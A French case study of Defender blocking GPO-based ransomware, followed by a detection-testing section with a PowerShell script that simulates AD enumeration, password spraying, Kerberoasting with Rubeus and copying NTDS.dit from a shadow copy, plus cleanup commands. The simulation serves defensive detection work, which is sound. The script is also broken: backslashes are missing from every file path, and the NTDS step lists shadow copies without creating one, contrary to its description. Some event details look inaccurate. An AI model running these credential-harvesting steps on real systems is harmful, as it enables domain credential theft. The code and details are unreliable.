Étude de Cas : Comment le Bouclier Prédictif de Defender a Bloqué le Ransomware Basé sur GPO Avant Exécution

Résumé

Microsoft Defender a interrompu une attaque par ransomware opérée par des humains ciblant une grande organisation éducative en détectant l’abus des objets de stratégie de groupe (GPO) utilisés pour affaiblir les paramètres de sécurité et distribuer des ransomwares via des tâches planifiées.

Enquête

Les attaquants ont compromis un compte administrateur de domaine, effectué une énumération Active Directory, forcé des identifiants par brute-force, collecté des tickets Kerberos et des données NTDS, créé des comptes locaux pirates et déployé des GPO malveillants pour appliquer une politique de falsification et déclencher la livraison du ransomware par le biais de tâches planifiées.

Atténuation

Le bouclier prédictif de Defender a identifié l’activité malveillante des GPO, renforcé temporairement les GPO, bloqué le déploiement du ransomware par tâches planifiées et empêché l’encryption de 97 % des appareils.

Réponse

Une fois détectées, les défenses doivent immédiatement activer le renforcement des GPO, contenir les comptes compromis, bloquer le trafic SMB suspect et enquêter sur les méthodes de persistance supplémentaires, y compris la création de comptes locaux non autorisés.

Exécution de la simulation

Prérequis : Le contrôle préliminaire de télémétrie et de référence doit être passé.

Justification : Cette section détaille l’exécution exacte de la technique d’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

Narratif & Commandes d’attaque

1. Énumération Active Directory avec ADExplorer – Un attaquant utilise l’utilitaire existant dans le système ADExplorer.exe pour parcourir la base de données AD, générant un événement de création de processus correspondant Image|endswith: 'ADExplorer.exe'.

2. Force brute des identifiants (T1110) – L’attaquant exécute un spray de mots de passe contre un compte de domaine, provoquant des tentatives de connexion échouées répétées (Événement 4625) avec la raison de l’échec %#13 (“L’utilisateur a tenté de se connecter depuis un domaine non fiable”).

3. Kerberoasting (T1558.003) – Utilisant l’outil open-source Rubeus, l’attaquant demande des tickets de service Kerberos pour les SPN de comptes informatiques (par exemple, HOST01$). Chaque demande génère l’Événement 4769 où ServiceName se termine par $.

4. Dump NTDS (T1003.003) – L’attaquant crée une copie d’ombre de volume du disque système et extrait NTDS.dit en utilisant ntdsutil, provoquant l’Événement 4662 avec ObjectType = "ds" and OperationType = "Replication".

Les quatre actions sont exécutées sur le même hôte dans une fenêtre de 5 minutes pour simuler une phase de “récolte” post-compromission réaliste.

Script de test de régression

# -------------------------------------------------
# Script de simulation – Déclenche tous les chemins de détection
# -------------------------------------------------

# 1. Exécution ADExplorer (création de processus)
$adExplorerPath = "$env:ProgramFilesSysinternalsADExplorer.exe"
if (-Not (Test-Path $adExplorerPath)) {
    Write-Host "ADExplorer non trouvé – téléchargement de l'espace réservé pour le test."
    # Simule en copiant n'importe quel exe au nom attendu
    Copy-Item "$env:SystemRootSystem32notepad.exe" $adExplorerPath
}
Start-Process -FilePath $adExplorerPath -ArgumentList "/quiet" -WindowStyle Hidden
Start-Sleep -Seconds 5

# 2. Tentatives de connexion par force brute (4625 avec %#13)
$domain = "CONTOSO"
$user   = "testuser"
$badPwd = "MauvaisMotDePasse123!"
1..3 | ForEach-Object {
    $null = [System.DirectoryServices.AccountManagement.PrincipalContext]::new('Domain', $domain).ValidateCredentials($user, $badPwd)
    Start-Sleep -Milliseconds 500
}

# 3. Kerberoasting via Rubeus (nécessite Rubeus.exe dans le PATH)
$rubeusPath = "$env:ProgramFilesRubeusRubeus.exe"
if (-Not (Test-Path $rubeusPath)) {
    Write-Host "Rubeus non trouvé – étape de Kerberoasting sautée."
} else {
    & $rubeusPath kerberoast /outfile:"C:Tempkerb_tickets.kirbi"
}
Start-Sleep -Seconds 5

# 4. Extraction de NTDS.dit utilisant VSS (réplication 4662)
# Crée une copie d'ombre VSS et copie NTDS.dit
$shadow = (vssadmin list shadows | Select-String -Pattern "ShadowCopy Volume" -Context 0,1).Line.Split()[-1]
$ntdsSource = "$shadowWindowsNTDSNTDS.dit"
$ntdsDest   = "C:TempNTDS_dump.dit"
if (Test-Path $ntdsSource) {
    Copy-Item -Path $ntdsSource -Destination $ntdsDest -Force
}
Start-Sleep -Seconds 5

Write-Host "Simulation terminée. Toute la télémétrie devrait être ingérée."

Commandes de nettoyage

# -------------------------------------------------
# Nettoyage – supprime les artefacts créés par la simulation
# -------------------------------------------------

# Supprimer le faux ADExplorer s'il a été créé
Remove-Item -Path "$env:ProgramFilesSysinternalsADExplorer.exe" -ErrorAction SilentlyContinue

# Supprime le dump Kerberos
Remove-Item -Path "C:Tempkerb_tickets.kirbi" -ErrorAction SilentlyContinue

# Supprimer le dump NTDS
Remove-Item -Path "C:TempNTDS_dump.dit" -ErrorAction SilentlyContinue

# Effacer toutes les copies d'ombre créées (nécessite admin)
# vssadmin delete shadows /all /quiet

Write-Host "Nettoyage terminé."